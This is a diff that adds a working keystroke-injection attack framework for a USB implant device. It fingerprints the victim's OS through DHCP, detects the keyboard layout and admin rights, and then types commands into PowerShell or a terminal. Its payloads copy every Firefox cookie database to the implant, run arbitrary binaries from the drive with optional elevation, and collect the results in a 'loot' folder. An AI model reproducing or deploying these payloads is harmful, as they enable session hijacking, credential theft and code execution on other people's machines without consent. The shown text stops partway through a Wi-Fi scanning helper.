QUACK ALTCODE 101
QUACK ALTCODE 110
QUACK ALTCODE 45
QUACK ALTCODE 85
QUACK ALTCODE 83
QUACK ALTCODE 32
QUACK ALTCODE 59
QUACK ALTCODE 32
QUACK ALTCODE 101
QUACK ALTCODE 120
QUACK ALTCODE 105
QUACK ALTCODE 116
Q ENTER
Q ENTER
}
case $1 in
Windows)
quackWindows
;;
Linux)
;;
Mac)
;;
esac

View File

@ -0,0 +1,92 @@
#!/bin/bash
function quackWindows() {
# open PowerShell via run menu
Q GUI r
Q DELAY 500
Q STRING powershell
Q ENTER
Q DELAY 500
# get drive path
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
Q STRING " 'sneaky'"
Q STRING ' } | select -expand name'
Q ENTER
# create file on path and sync (clear write cache)
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
Q STRING " 'language.txt'), '$DUCKY_LANG') ; Write-VolumeCache"
Q STRING ' $usbPath[0]'
Q ENTER
Q ENTER
Q STRING "exit"
Q ENTER
Q ESCAPE
Q ESCAPE
}
function quackLinux() {
# open terminal via search menu
Q GUI
Q DELAY 1500
Q STRING "ter"
# needed otherwise console might bug
Q DELAY 500
Q ENTER
Q DELAY 2000
# create file on path and sync (clear write cache)
Q STRING "echo '$DUCKY_LANG' > /media/"
Q STRING '$(users)/sneaky/language.txt && sync'
Q ENTER
Q DELAY 1000
Q ENTER
Q STRING "exit"
Q ENTER
}
function quackMac() {
# open mac terminal
Q GUI SPACE
Q DELAY 3000
Q STRING "termi"
Q DELAY 500
Q ENTER
Q DELAY 3000
# enable switching buttons via TAB
Q CONTROL F7
# create file on path and sync (clear write cache)
Q STRING "echo '$DUCKY_LANG' > /Volumes/sneaky/language.txt && sync"
Q ENTER
Q DELAY 1000
Q TAB
Q TAB
Q SPACE
# disable switching buttons via TAB
# --> create clean state
Q CONTROL F7
}
case $1 in
Windows)
quackWindows
;;
Linux)
quackLinux
;;
Mac)
quackMac
;;
esac

View File

@ -0,0 +1,140 @@
#!/bin/bash
cmdArgs='cookies'
function quackWindows() {
if [ "$1" = "1" ]
then
# open powershell with admin rights
Q GUI r
Q DELAY 500
Q STRING powershell
Q CONTROL-SHIFT-ENTER
Q DELAY 2000
Q ALT j
Q DELAY 3000
else
# open normal powershell (non admin)
Q GUI r
Q DELAY 500
Q STRING powershell
Q ENTER
Q DELAY 500
fi
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
Q STRING " 'sneaky'"
Q STRING ' } | select -expand name'
Q ENTER
Q STRING '.(Join-Path $usbPath'
Q STRING " 'win.exe')"
# add cmdargs if set
# otherwise skip because
# DUCKYSCRIPT has problems with empty vars to type
# and will therefore throw an error
if [ ! -z $cmdArgs ]
then
Q STRING " $cmdArgs"
fi
Q STRING ' ; if ($?) {'
Q STRING ' [IO.File]::WriteAllLines((Join-Path $usbPath'
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
Q STRING ' $usbPath[0] ; exit}'
Q ENTER
Q ESCAPE
}
function quackLinux() {
# open terminal via search menu
Q GUI
Q DELAY 1500
Q STRING "ter"
# needed otherwise console might bug
Q DELAY 500
Q ENTER
Q DELAY 2000
# wrap cmds inside nohup
Q STRING 'nohup sh -c "'
if [ "$1" = "1" ]
then
# call bin with prepended "sudo" for root rights
Q STRING 'sudo /media/$(users)/sneaky/lin'
else
# call bin without "sudo"
Q STRING '/media/$(users)/sneaky/lin'
fi
# add cmdargs if set
if [ ! -z $cmdArgs ]
then
Q STRING " $cmdArgs"
fi
# create file on path and sync (clear write cache)
Q STRING " && sync && echo 'done' > /media/"
Q STRING '$(users)/sneaky/done.txt && sync'
# wrap cmds inside nohup
Q STRING '" > /dev/null 2>&1 &'
Q ENTER
# close terminal
Q DELAY 500
Q CONTROL d
}
function quackMac() {
# open mac terminal
Q GUI SPACE
Q DELAY 3000
Q STRING "termi"
Q DELAY 500
Q ENTER
Q DELAY 3000
if [ "$1" = "1" ]
then
# call bin with prepended "sudo" for root rights
Q STRING "sudo /Volumes/sneaky/mac"
else
# call bin without "sudo"
Q STRING "/Volumes/sneaky/mac"
fi
# add cmdargs if set
if [ ! -z $cmdArgs ]
then
Q STRING " $cmdArgs"
fi
# create file on path and sync (clear write cache)
Q STRING " && sync && echo 'done' > /Volumes/sneaky/done.txt"
Q STRING " && sync && pkill -a Terminal"
Q ENTER
Q DELAY 500
Q GUI q
}
case $1 in
Windows)
quackWindows $2
;;
Linux)
quackLinux $2
;;
Mac)
quackMac $2
;;
esac

View File

@ -0,0 +1,83 @@
#!/bin/bash
function quackWindows() {
Q GUI r
Q DELAY 500
Q STRING powershell
Q CONTROL-SHIFT-ENTER
Q DELAY 2000
Q ALT j
Q DELAY 3000
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
Q STRING " 'sneaky'"
Q STRING ' } | select -expand name'
Q ENTER
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
Q STRING " 'root.txt'), 'root') ; Write-VolumeCache"
Q STRING ' $usbPath[0]'
Q ENTER
Q ENTER
Q STRING "exit"
Q ENTER
Q ESCAPE
Q ESCAPE
}
function quackLinux() {
# open terminal via search menu
Q GUI
Q DELAY 1500
Q STRING "ter"
# needed otherwise console might bug
Q DELAY 500
Q ENTER
Q DELAY 2000
# create file on path and sync (clear write cache)
Q STRING 'if [ $(sudo id -u) -eq 0 ];'
Q STRING " then echo 'root' > /media/"
Q STRING '$(users)/sneaky/root.txt && sync ; fi'
Q ENTER
Q DELAY 1500
Q CONTROL d
Q CONTROL d
}
function quackMac() {
# open mac terminal
Q GUI SPACE
Q DELAY 3000
Q STRING "termi"
Q DELAY 500
Q ENTER
Q DELAY 3000
# create file on path and sync (clear write cache)
Q STRING 'if [ $(sudo id -u) -eq 0 ];'
Q STRING " then echo 'root' > /Volumes/sneaky/root.txt && sync ; fi"
Q ENTER
Q DELAY 500
Q CONTROL d
Q DELAY 500
Q GUI q
}
case $1 in
Windows)
quackWindows
;;
Linux)
quackLinux
;;
Mac)
quackMac
;;
esac

View File

@ -0,0 +1,91 @@
#!/bin/bash
function quackWindows() {
# open normal powershell (non admin)
Q GUI r
Q DELAY 500
Q STRING powershell
Q ENTER
Q DELAY 500
# get drive
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
Q STRING " 'sneaky'"
Q STRING ' } | select -expand name'
Q ENTER
# copy all firefox cookies DBs
Q STRING '$counter = 0 ; Get-ChildItem -Path .\AppData\Roaming\Mozilla\Firefox\Profiles\ | Foreach-Object { cp (Join-Path $_.FullName'
Q STRING " 'cookies.sqlite')"
Q STRING ' $usbPath'
Q STRING "'cookies'"
Q STRING '$counter'
Q STRING "'.sqlite' ;"
Q STRING ' $counter++ }'
# write done file
Q STRING ' ; if ($?) {'
Q STRING ' [IO.File]::WriteAllLines((Join-Path $usbPath'
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
Q STRING ' $usbPath[0] ; exit}'
Q ENTER
Q ESCAPE
Q ESCAPE
}
function quackLinux() {
# open terminal via search menu
Q GUI
Q DELAY 1500
Q STRING "ter"
# needed otherwise console might bug
Q DELAY 500
Q ENTER
Q DELAY 2000
# copy all firefox DBs and write done file
Q STRING "counter=0 && for dir in ~/.mozilla/firefox/*/ ; do if [["
Q STRING ' $dir != *'
Q STRING "'Crash'* &&"
Q STRING ' $dir !='
Q STRING " *'Pending'* ]]; then cp -r"
Q STRING ' $dir/cookies.sqlite /media/$(users)/sneaky/cookies$counter.sqlite 2>/dev/null ; ((counter=counter+1)); fi ; done && echo'
Q STRING " 'done' > /media/"
Q STRING '$(users)/sneaky/done.txt && sync && exit'
Q ENTER
}
function quackMac() {
# open mac terminal
Q GUI SPACE
Q DELAY 3000
Q STRING "termi"
Q DELAY 500
Q ENTER
Q DELAY 3000
# copy all firefox DBs and write done file
Q STRING "counter=0 && for dir in"
Q STRING ' "/Users/$(users)/Library/Application Support/Firefox/Profiles/\"* ; do cp -r $dir/cookies.sqlite /Volumes/sneaky/cookies$counter.sqlite 2>/dev/null ; ((counter=counter+1)) ; done && echo'
Q STRING " 'done' > /Volumes/sneaky/cookies.txt && sync && pkill -a Terminal"
Q ENTER
}
case $1 in
Windows)
quackWindows
;;
Linux)
quackLinux
;;
Mac)
quackMac
;;
esac

View File

@ -0,0 +1,94 @@
#!/bin/bash
function quackWindows() {
# open normal powershell (non admin)
Q GUI r
Q DELAY 500
Q STRING powershell
Q ENTER
Q DELAY 500
# get drive
# provides helpful variable that can be used to write data to the UMS
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
Q STRING " 'sneaky'"
Q STRING ' } | select -expand name'
Q ENTER
############################
# ADD YOUR COMMANDS HERE
############################
# write done file and clear write cache
# done file is only needed if set inside the pyload.sh
# e.g. for this case doneFile is set to "done.txt"
# and therefore the file will be created
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
Q STRING ' $usbPath[0] ; exit'
Q ENTER
}
function quackLinux() {
# open terminal via search menu
Q GUI
Q DELAY 1500
Q STRING "ter"
# needed otherwise console might bug
Q DELAY 500
Q ENTER
Q DELAY 2000
############################
# ADD YOUR COMMANDS HERE
############################
# write done file and clear write cache
# done file is only needed if set inside the pyload.sh
# e.g. for this case doneFile is set to "done.txt"
# and therefore the file will be created
Q STRING "echo 'done' > /media/"
Q STRING '$(users)/sneaky/done.txt && sync && exit'
Q ENTER
}
function quackMac() {
# open mac terminal
Q GUI SPACE
Q DELAY 3000
Q STRING "termi"
Q DELAY 500
Q ENTER
Q DELAY 3000
############################
# ADD YOUR COMMANDS HERE
############################
# write done file and clear write cache
# done file is only needed if set inside the pyload.sh
# e.g. for this case doneFile is set to "done.txt"
# and therefore the file will be created
Q STRING "echo 'done' > /Volumes/sneaky/done.txt"
Q STRING " && sync && pkill -a Terminal"
Q ENTER
}
case $1 in
Windows)
quackWindows
;;
Linux)
quackLinux
;;
Mac)
quackMac
;;
esac

View File

@ -0,0 +1,218 @@
#!/usr/bin/env python3
import argparse
# TODO: add rest + check if all are there
# dict of codes
# ingored:
#- unnecessary?: 128-255 and 0202-0255
#- duplicates: 0160, 0173, 0130
code_table = {
'' : '1',
'' : '2',
'' : '3',
'' : '4',
'' : '5',
'' : '6',
'' : '7' ,
'' : '8' ,
'' : '9' ,
'' : '10',
'' : '11',
'' : '12',
'' : '13',
'' : '14',
'' : '15',
'' : '16',
'' : '17',
'' : '18',
'' : '19',
'' : '20',
'§' : '21',
'' : '22',
'' : '23',
'' : '24',
'' : '25',
'' : '26',
'' : '27',
'' : '28',
'' : '29',
'' : '30',
'' : '31',
' ' : '32',
'!' : '33',
'"' : '34',
'#' : '35',
'$' : '36',
'%' : '37',
'&' : '38',
'\'' : '39',
'(' : '40',
')' : '41',
'*' : '42',
'+' : '43',
',' : '44',
'-' : '45',
'.' : '46',
'/' : '47',
'0' : '48',
'1' : '49',
'2' : '50',
'3' : '51',
'4' : '52',
'5' : '53',
'6' : '54',
'7' : '55',
'8' : '56',
'9' : '57',
':' : '58',
';' : '59',
'<' : '60',
'=' : '61',
'>' : '62',
'?' : '63',
'@' : '64',
'A' : '65',
'B' : '66',
'C' : '67',
'D' : '68',
'E' : '69',
'F' : '70',
'G' : '71',
'H' : '72',
'I' : '73',
'J' : '74',
'K' : '75',
'L' : '76',
'M' : '77',
'N' : '78',
'O' : '79',
'P' : '80',
'Q' : '81',
'R' : '82',
'S' : '83',
'T' : '84',
'U' : '85',
'V' : '86',
'W' : '87',
'X' : '88',
'Y' : '89',
'Z' : '90',
'[' : '91',
'\\': '92',
']' : '93',
'^' : '94',
'_' : '95',
'`' : '96',
'a' : '97',
'b' : '98',
'c' : '99',
'd' : '100',
'e' : '101',
'f' : '102',
'g' : '103',
'h' : '104',
'i' : '105',
'j' : '106',
'k' : '107',
'l' : '108',
'm' : '109',
'n' : '110',
'o' : '111',
'p' : '112',
'q' : '113',
'r' : '114',
's' : '115',
't' : '116',
'u' : '117',
'v' : '118',
'w' : '119',
'x' : '120',
'y' : '121',
'z' : '122',
'{' : '123',
'|' : '124',
'}' : '125',
'~' : '126',
'Δ' : '127',
'' : '0128',
'ƒ' : '0131',
'' : '0132',
'' : '0133',
'' : '0134',
'' : '0135',
'ˆ' : '0136',
'' : '0137',
'Š' : '0138',
'' : '0139',
'Œ' : '0140',
'Ž' : '0142',
'' : '0145',
'' : '0146',
'' : '0147',
'' : '0148',
'' : '0149',
'' : '0150',
'' : '0151',
'˜' : '0152',
'' : '0153',
'š' : '0154',
'' : '0155',
'œ' : '0156',
'ž' : '0158',
'Ÿ' : '0159',
'¡' : '0161',
'¢' : '0162',
'£' : '0163',
'¤' : '0164',
'¥' : '0165',
'¦' : '0166',
'§' : '0167',
'¨' : '0168',
'©' : '0169',
'ª' : '0170',
'«' : '0171',
'¬' : '0172',
'®' : '0174',
'¯' : '0175',
'°' : '0176',
'±' : '0177',
'²' : '0178',
'³' : '0179',
'´' : '0180',
'µ' : '0181',
'' : '0182',
'·' : '0183',
'¸' : '0184',
'¹' : '0185',
'º' : '0186',
'»' : '0187',
'¼' : '0188',
'½' : '0189',
'¾' : '0190',
'¿' : '0191',
'À' : '0192',
'Á' : '0193',
'Â' : '0194',
'Ã' : '0195',
'Ä' : '0196',
'Å' : '0197',
'Æ' : '0198',
'Ç' : '0199',
'È' : '0200',
'É' : '0201',
'Ê' : '0202',
}
parser = argparse.ArgumentParser(prog='altcon', description='Convert a string to a sequence of altcodes')
parser.add_argument("string", help="convert the string to alt codes and return codes as list")
parser.add_argument("-d", "--ducky", help="export alt codes to Ducky Script 2.0 compatible commands", action="store_true")
args = parser.parse_args()
print("Input:", args.string)
codes = [code_table[char] for char in args.string]
print("Alt codes:", codes)
if args.ducky:
print("\n** Copy from here for Ducky Script **")
for code in codes:
print("QUACK ALTCODE", code)

View File

@ -0,0 +1,131 @@
#!/usr/bin/env python3
from scapy.sendrecv import sniff
from scapy.layers.dhcp import DHCP
import os
import atexit
fifo_in = "/root/pyrecv"
fifo_out = "/root/bashrecv"
already_send = False
# remove a FIFO
def remove_fifo(fifo):
try:
os.remove(fifo)
except:
print("remove FIFO error")
# send result (OS type) to the bash receive FIFO
def send_result(result):
global already_send
with open(fifo_out, "w") as fifo:
fifo.write("os=" + result + "\n")
# result (identified OS) has already been send
already_send = True
# remove FIFO on exit
def exit_handler():
remove_fifo(fifo_in)
# try to detect the OS by checking the DHCP request options
def detectOS(options):
# Windows devices define the vendor_class_id
if "vendor_class_id" in options:
if "MSFT" in options["vendor_class_id"]:
send_result("Windows")
# Ubuntu (also Kali Linux so probably all debian-based distros) does set option 2 and 17 in the parameter request list
elif set([2, 12]).issubset(options["param_req_list"]):
send_result("Linux")
# macOS does set option 95 in the parameter request list
elif set([95]).issubset(options["param_req_list"]):
send_result("Mac")
# if some devices do not set the given identifiers then the OS can not be determined
else:
send_result("Unknown")
# check if packet is DHCP request / discover and if so add DHCP options to a easily parsable dictionary
def dhcp_callback(pkt):
if DHCP in pkt and (pkt[DHCP].options[0][1] == 3 or pkt[DHCP].options[0][1] == 1):
dhcp_options = pkt[DHCP].options
option_list = {}
# iterate through all tuples
for option in dhcp_options:
# check if we might to convert sth because it contains additional flags, length, etc.
if isinstance(option[1], (bytes, bytearray)):
# only client name - remove leading length, flags, a-pr and ptr-ppr result
if option[0] == "client_FQDN":
option_list[option[0]] = option[1][3:].decode()
else:
option_list[option[0]] = option[1].decode()
else:
option_list[option[0]] = option[1]
print(option_list)
detectOS(option_list)
# scapy stop function
# stop sniffing if the host OS could have been identified
# (OS type has already been send to the bash process)
def check_already_send(x):
global already_send
if already_send:
return True
else:
return False
if __name__ == "__main__":
# register exit handler to be able to remove the fifo
atexit.register(exit_handler)
while True:
with open(fifo_in) as fifo:
for line in fifo:
if (line == "sniff"):
print("sniffing ...")
# sniff for DHCP packets for 5 secs
# call dhcp_callback() if a DHCP packet has been found and analyze it
# the identified OS will be send to the bash process via a FIFO (named pipe)
# to prevent multiple sends (multiple DHCP packets!) and sniffing if the interface
# is already down, after every packet it will be checked if the identified OS has already been send
sniff(iface="usb0", filter="udp and (port 67 or 68)", timeout=5, prn=dhcp_callback, stop_filter=check_already_send)
# no valid DHCP packets have been found --> no result prior send
# --> send "na" as feedback to the bash process
if not already_send:
print("after 5 secs: no valid DHCP packets found - will send 'na'")
send_result("na")
# reset already_send
already_send = False
print("stopped sniffing")
elif (line == "stop"):
print("stopping ...")
exit()

View File

@ -0,0 +1,121 @@
#!/bin/bash
imagePath=/root/ums
mountPath=/media
payloadPath=/root/binaries
function createImages() {
label="sneaky"
size=100
mkdir -p $imagePath
# FAT32 (default for != Ubuntu)
echo "Creating FAT32 image ..."
dd if=/dev/zero of=$imagePath/fat32.bin bs=1M count=$size
mkdosfs $imagePath/fat32.bin
fatlabel $imagePath/fat32.bin "$label"
# NTFS (needed for direct bin execution on e.g. Ubuntu)
echo -e "\nCreating NTFS image ..."
dd if=/dev/zero of=$imagePath/ntfs.bin bs=1M count=$size
mkfs.ntfs -Q -v -F -L $label $imagePath/ntfs.bin
echo -e "\nImage creation done !"
}
function clearImage() {
mkdir -p $mountPath
echo "Clearing $1 ..."
mount -o loop $1 $mountPath
sleep 1
# remove all files (incl. hidden files) from drive
rm -r $mountPath/* 2>/dev/null
rm -r $mountPath/.* 2>/dev/null
umount $mountPath
}
function prepareImage() {
mkdir -p $mountPath
echo "Preparing $1 ..."
mount -o loop $1 $mountPath
sleep 1
# remove all files (incl. hidden files) from drive
rm -r $mountPath/* 2>/dev/null
rm -r $mountPath/.* 2>/dev/null
# copy payloads to the drive
cp $payloadPath/* $mountPath
umount $mountPath
}
function clearAllImages() {
for f in $imagePath/*
do
clearImage $f
done
echo -e "\nClearing of all available images is done !"
}
function prepareAllImages() {
for f in $imagePath/*
do
prepareImage $f
done
echo -e "\nPreparing of all available images is done !"
}
function mountImage() {
mkdir -p $mountPath
mount -o loop $1 $mountPath
}
# main
case $1 in
create)
createImages
;;
clear)
if [ ! -z "$2" ]
then
clearImage $2
else
echo "Image clear failed - path to file missing"
fi
;;
clearAll)
clearAllImages
;;
prepare)
if [ ! -z "$2" ]
then
prepareImage $2
else
echo "Image prepare failed - path to file missing"
fi
;;
prepareAll)
prepareAllImages
;;
mount)
if [ ! -z "$2" ]
then
mountImage $2
else
echo "Image mount failed - path to file missing"
fi
;;
esac

View File

@ -0,0 +1,411 @@
#!/bin/bash
################################################################################
# configure detection (OS, layout and root) and payload
################################################################################
# WLAN AP geofencing
# set to 1 is active, 0 is deactivated
# set the allowed / denied devices in the wlanFencing function
doWlanFencing=0
# OS detection
# if the string is empty then script will try to determine the OS
# if an OS ("Windows", "Linux" or "Mac") is set the detection will be skipped
# and the set element value will be used
os=""
# Layout detection
# keyboard layouts that should be tried
# testing order is from left to right
# if the array only contains one element the detection will be skipped
# and the set element value will be used
# if no value is set the default value ("us") will be used
langs=( de us fr )
# if the OS is Window (detected or the variable is set by the user)
# the framework can use alt codes to force the host the use the 'us' layout
# instead of trying to detect the used keyboard layout
# set to 1 is active, 0 is deactivated
# layouts in the langs array will be ignored in this case
winForceUS=0
# Root / admin detection
# check if higher rights can be get
# set to 1 is active, 0 is deactivated
rootCheck=1
# Payload
# if a custom DUCKY SCRIPT file should be used then set the variable
# to the path of the file, e.g. "/root/udisk/library/stealCookies.sh"
# compatible DUCKY SCRIPT files should be placed in "/root/udisk/library/"
# "/root/udisk/library/template.sh" can be used as a template
# just adjust the QUACK calls in the OS functions
# if a binary should be executed then set the variable to "/root/udisk/library/payload-execute.sh"
# binaries named "win.exe", "lin" and "mac" should be placed in "/root/binaries/"
payload="/root/udisk/library/payload-execute.sh"
#payload="/root/udisk/library/stealFirefoxCookies.sh"
# for binaries optional command line arguments can be passed by setting cmdArgs
# if not needed, set it to an empty string
cmdArgs="cookies"
# file that is created by the DUCKY SCRIPT or binary to detect if the execution is finished
# needed if the type time != execution time
# e.g. when copying large files
# if not needed then set it to an empty string
# the framework will go on will not wait for any created files
doneFile="done.txt"
# maxTries = max seconds to wait for completion of a given payload
# if a payload takes longer than the specified seconds then the execution will be stopped
maxTries=15
# is root/ admin needed for the payload execution?
# if set to 1 the script uses "sudo" as prefix or a "run as admin"-started terminal
# if a root check has been done before, root is not available but needed the execution will be stopped
needRoot=0
# cp wildcard to extract files from the mass storage, comment out or set to empty string if not used
# files will be copied to the "loot" location ("/root/udisk/loot")
extractFiles="cookies[0-9]*.sqlite"
################################################################################
# DANGER ZONE
# almost never needed to edit these variables
# only change if you know what you're doing!
# paths (keep in sync with image-helper.sh!)
imagePath=/root/ums
mountPath=/media
# global vars
# just for function access - do not edit
rootAvailable=0
################################################################################
function cleanStop() {
echo "$(date +"%T") : cleanup - resetting mass storage" >> /root/udisk/keyos-log.txt
ATTACKMODE OFF
echo "$(date +"%T") : cleanup - resetting $drive" >> /root/udisk/keyos-log.txt
/root/scripts/image-helper.sh prepare $imagePath/$drive 2>>/root/udisk/keyos-log.txt
echo "$(date +"%T") : cleanup - done" >> /root/udisk/keyos-log.txt
}
function wlanFencing() {
echo "$(date +"%T") : WLAN AP geofencing ..." >> /root/udisk/keyos-log.txt
sleep 2
# adjust to your needs
# for detailed inforation about the cli syntax check the wlanFencing.py file
/root/scripts/wlanFencing.py -a "<SSID>"
if [ "$?" -eq "0" ]
then
echo "$(date +"%T") : WLAN AP geofencing - conditions met" >> /root/udisk/keyos-log.txt
else
echo "$(date +"%T") : WLAN AP geofencing failed - stopping" >> /root/udisk/keyos-log.txt
LED FAIL
exit 1
fi
}
function detectOS() {
function readFifo() {
pipe=/root/bashrecv
while true
do
if read line <$pipe
then
echo $line
if [[ "$line" == "os"* ]]
then
tmpOS=${line:3}
break
fi
fi
done
rm -f $pipe
case $tmpOS in
"Windows" | "Linux" | "Mac" | "Unknown")
#echo "$(date +"%T") : OS is Windows, Linux, Mac or Unknown" >> /root/udisk/keyos-log.txt
os=$tmpOS
;;
*)
#echo "$(date +"%T") : no OS found" >> /root/udisk/keyos-log.txt
;;
esac
}
pipe_py=/root/pyrecv
if [[ ! -p $pipe_py ]]
then
mkfifo $pipe_py
fi
/root/scripts/analyze-pcap.py 2>>/root/udisk/keyos-log.txt &
ATTACKMODE RNDIS_ETHERNET
echo "$(date +"%T") : sniffing ..." >> /root/udisk/keyos-log.txt
readFifo
# check if the OS could be identified
if [[ ! -z $os ]]
then
echo "$(date +"%T") : analyzing successful" >> /root/udisk/keyos-log.txt
echo -n "stop" > /root/pyrecv
else
echo "$(date +"%T") : no packets found - retrying sniffing ..." >> /root/udisk/keyos-log.txt
ATTACKMODE ECM_ETHERNET
readFifo
if [[ ! -z $os ]]
then
echo "$(date +"%T") : analyzing successful" >> /root/udisk/keyos-log.txt
echo -n "stop" > /root/pyrecv
else
echo "$(date +"%T") : second analyzing try failed - stopping" >> /root/udisk/keyos-log.txt
echo -n "stop" > /root/pyrecv
# storage is untouched --> exit is enough
LED FAIL
exit 1
fi
fi
if echo $os | grep -q "Unknown"
then
echo "$(date +"%T") : could not detect the OS - stopping" >> /root/udisk/keyos-log.txt
# storage is untouched --> exit is enough
LED FAIL
exit 1
else
echo "$(date +"%T") : detected OS: $os" >> /root/udisk/keyos-log.txt
fi
}
function mountDrive() {
# adjust the drive so rwx does work ootb on all OS
if [ $os = "Linux" ]
then
drive="ntfs.bin"
else
drive="fat32.bin"
fi
# mount the correct drive depending on the OS
echo "$(date +"%T") : mounting drive: $drive" >> /root/udisk/keyos-log.txt
sed -i -r "s# file=[^[:space:]]+# file=$imagePath/$drive#g" /usr/local/croc/bin/ATTACKMODE
ATTACKMODE HID STORAGE
# reset device for mass storage (otherwise accessing the payload dir does not work anymore with a pin)
sed -i -r "s# file=[^[:space:]]+# file=/dev/nandf#g" /usr/local/croc/bin/ATTACKMODE
# explorer spawns for the mounted drive
# on Ubuntu it can happen that the first keyboard detection iteration gets skipped
# a bit hacky because we do not exactly know, when the windows drive pop-up appears...
if [ $os = "Windows" ]
then
sleep 5
else
sleep 3
fi
}
function detectLayout() {
for lang in "${langs[@]}"
do
export DUCKY_LANG=$lang
echo "$(date +"%T") : trying language $DUCKY_LANG ..." >> /root/udisk/keyos-log.txt
/root/udisk/library/keyboard.sh $os
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
if [ -f $mountPath/language.txt ]
then
echo "$(date +"%T") : keyboard language is $DUCKY_LANG" >> /root/udisk/keyos-log.txt
umount $mountPath
break
fi
umount $mountPath
# last language try and no success --> abort
if [[ "$lang" == "${langs[-1]}" ]]
then
echo "$(date +"%T") : unknown keyboard language - stopping" >> /root/udisk/keyos-log.txt
cleanStop
LED FAIL
exit 1
fi
done
}
function checkRoot() {
echo "$(date +"%T") : root check enabled" >> /root/udisk/keyos-log.txt
# run root-check
/root/udisk/library/root-check.sh $os
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
if [ -f $mountPath/root.txt ]
then
echo "$(date +"%T") : root available" >> /root/udisk/keyos-log.txt
rootAvailable=1
else
echo "$(date +"%T") : root not available" >> /root/udisk/keyos-log.txt
rootAvailable=0
fi
umount $mountPath
}
function executePayload() {
# set cmd arguments (only for executable payload)
if [ $payload = "/root/udisk/library/payload-execute.sh" ]
then
sed -i "s/cmdArgs='.*'/cmdArgs='$cmdArgs'/" $payload
fi
# if we've checked root and do not have root then stop (because it will defintely not work)
if [ -v rootAvailable ]
then
if [ $rootAvailable -eq 0 ] && [ $needRoot -eq 1 ]
then
echo "$(date +"%T") : stopping - reason: root not available" >> /root/udisk/keyos-log.txt
cleanStop
LED FAIL
exit 1
fi
fi
# execute DUCKYSCRIPT payload
# if root needed then use "sudo"-prefix or a "run as admin"-started terminal
# for the payload bin execution file
$payload $os $needRoot
# if done file is set wait until the file has appeared / maxTries is reached
if [ ! -z $doneFile ]
then
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
ls $mountPath | grep -q $doneFile
foundFile=$?
umount $mountPath
# check continuous if the payload is done
iterations=0
until [ "$foundFile" -eq "0" ]
do
echo "$(date +"%T") : waiting for payload feedback - iteration $iterations" >> /root/udisk/keyos-log.txt
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
ls $mountPath | grep -q $doneFile
foundFile=$?
umount $mountPath
# check if we have already waited more than wanted (default 15 seconds)
# if so: stop and clean up (sth probably did not work)
if (( iterations > maxTries ))
then
echo "$(date +"%T") : stopping - reason: waited more than $maxTries seconds for feedback" >> /root/udisk/keyos-log.txt
cleanStop
LED FAIL
exit 1
fi
sleep 1
((iterations=iterations+1))
done
fi
echo "$(date +"%T") : payload execution is done" >> /root/udisk/keyos-log.txt
}
function saveFiles() {
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
newFolderName=$(date +%Y-%m-%d_%H%M%S)
mkdir /root/udisk/loot/$newFolderName
cp $mountPath/$extractFiles /root/udisk/loot/$newFolderName 2>>/root/udisk/keyos-log.txt
umount $mountPath
}
################################################################################
# main
################################################################################
ATTACKMODE OFF
LED ATTACK
cat /dev/null > /root/udisk/keyos-log.txt
echo "$(date +"%T") : start" >> /root/udisk/keyos-log.txt
# WLAN AP geofencing
# wait until WLAN APs are in range / out of range
if [ $doWlanFencing -eq 1 ]
then
wlanFencing
fi
# OS detection
# try to detect the OS if an OS is not set
if [[ -z $os ]]
then
detectOS
fi
# mount the UMS (mass storage) on the host (victim) and on the croc
mountDrive
# layout detection
# use altcode mode if activated and OS is Windows (detected or set)
if [ $winForceUS -eq 1 ] && [ $os = "Windows" ]
then
echo "$(date +"%T") : altcode mode - will force to use the 'us' layout" >> /root/udisk/keyos-log.txt
/root/udisk/library/keyboard-altcode.sh $os
else
# take a look at the langs array
# detection method only enabled if more than one language is set
# otherwise use set single language or the Key Croc default ("us")
if [ ${#langs[@]} -eq 1 ]
then
echo "$(date +"%T") : single layout set to ${langs[0]}" >> /root/udisk/keyos-log.txt
export DUCKY_LANG=${langs[0]}
elif [ ${#langs[@]} -gt 1 ]
then
echo "$(date +"%T") : layout detection ..." >> /root/udisk/keyos-log.txt
detectLayout
else
echo "$(date +"%T") : no layout set, using default" >> /root/udisk/keyos-log.txt
fi
fi
# root check
if [ $rootCheck -eq 1 ]
then
checkRoot
fi
# payload execution
echo "$(date +"%T") : executing payload" >> /root/udisk/keyos-log.txt
executePayload
# file saving
if ! test -z "$extractFiles"
then
# try to backup copied places data (from victim) if there are any
# in a newly created folder (y-m-d_hms)
echo "$(date +"%T") : extracting files from mass storage" >> /root/udisk/keyos-log.txt
saveFiles
cleanStop
else
cleanStop
fi
echo "$(date +"%T") : execution and clearing done" >> /root/udisk/keyos-log.txt
LED FINISH

View File

@ -0,0 +1,152 @@
#!/usr/bin/env python3
import argparse
import subprocess
from time import sleep
# execute a passed shell-command via subprocess
def shell(cmd):
try:
process = subprocess.check_output(cmd, shell=True, stderr=subprocess.DEVNULL)
return process
except subprocess.CalledProcessError as err:
print(err)
return False
# scan for WLAN access points in the range and return result
def scan_aps(interface):
scan_result = shell("iw dev {} scan | grep SSID | awk '{{ print substr($0, index($0,$2)) }}'".format(interface))
wlan_aps_list = []
# scanning to often can result in "device is busy"-errors
if scan_result:
wlan_aps_list = scan_result.decode("utf-8").split("\n")
return wlan_aps_list
